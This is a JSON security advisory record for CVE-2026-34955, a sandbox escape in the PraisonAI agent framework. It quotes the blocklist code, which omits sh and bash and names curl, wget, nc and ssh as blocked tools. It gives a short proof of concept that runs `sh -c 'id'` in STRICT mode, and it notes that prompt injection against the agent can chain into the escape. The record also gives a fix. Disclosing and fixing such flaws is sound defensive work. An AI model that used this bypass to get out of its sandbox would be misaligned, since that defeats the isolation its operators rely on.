{"id":"CVE-2026-34955","aliases":["GHSA-r4f2-3m54-pp7q","PYSEC-2026-2921"],"url":"https://o3.security/vulnerability/CVE-2026-34955","summary":"PraisonAI: Sandbox Escape via shell=True and Bypassable Blocklist in SubprocessSandbox","details":"### Summary\n\n`SubprocessSandbox` in all modes (BASIC, STRICT, NETWORK_ISOLATED) calls `subprocess.run()` with `shell=True` and relies solely on string-pattern matching to block dangerous commands. The blocklist does not include `sh` or `bash` as standalone executables, allowing trivial sandbox escape in STRICT mode via `sh -c '<command>'`.\n\n### Details\n\n`sandbox_executor.py:179` (source) -> `sandbox_executor.py:326` (sink)\n```python\n# source -- string-pattern blocklist, sh and bash not in blocked_commands\ncmd_name = Path(parts[0]).name\nif cmd_name in self.policy.blocked_commands:  # sh, bash not blocked\n    raise SecurityError(...)\ndangerous_patterns = [\n    (\"| sh\",   ...),   # requires space -- \"id|bash\" evades this\n    (\"| bash\", ...),   # requires space\n]\n\n# sink -- shell=True spawns /bin/sh regardless of sandbox mode\nresult = subprocess.run(\n    command,\n    shell=True,\n    ...\n)\n```\n\n### PoC\n```python\n# tested on: praisonai==4.5.87 (source install)\n# install: pip install -e src/praisonai\nimport sys\nsys.path.insert(0, 'src/praisonai')\nfrom praisonai.cli.features.sandbox_executor import SubprocessSandbox, SandboxPolicy, SandboxMode\n\npolicy = SandboxPolicy.for_mode(SandboxMode.STRICT)\nsandbox = SubprocessSandbox(policy=policy)\n\nresult = sandbox.execute(\"sh -c 'id'\")\nprint(result.stdout)\n# expected output: uid=1000(narey) gid=1000(narey) groups=1000(narey)...\n```\n\n### Impact\n\nUsers who deploy with `--sandbox strict` have no meaningful OS-level isolation. Any command blocked by the policy (curl, wget, nc, ssh) is trivially reachable via `sh -c '<blocked_command>'`. Combined with agent prompt injection, an attacker can escape the sandbox and reach the network, filesystem, and cloud metadata services.\n\n### Suggested Fix\n```python\nimport shlex\n\nresult = subprocess.run(\n    shlex.split(command),\n    shell=False,\n    cwd=cwd,\n    env=env,\n    capture_output=capture_output,\n    text=True,\n    timeout=timeout\n)\n```","published":"2026-04-03T23:04:25.792Z","modified":"2026-08-12T03:51:34.889209483Z","cvss":{"score":8.8,"severity":"HIGH","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H"},"epss":null,"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"PyPI","name":"praisonai","fixedVersion":"4.5.97"}],"fix":null,"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/34xxx/CVE-2026-34955.json"},{"type":"ADVISORY","url":"https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-r4f2-3m54-pp7q"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34955"},{"type":"PACKAGE","url":"https://github.com/MervinPraison/PraisonAI"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:34.889209483Z"}}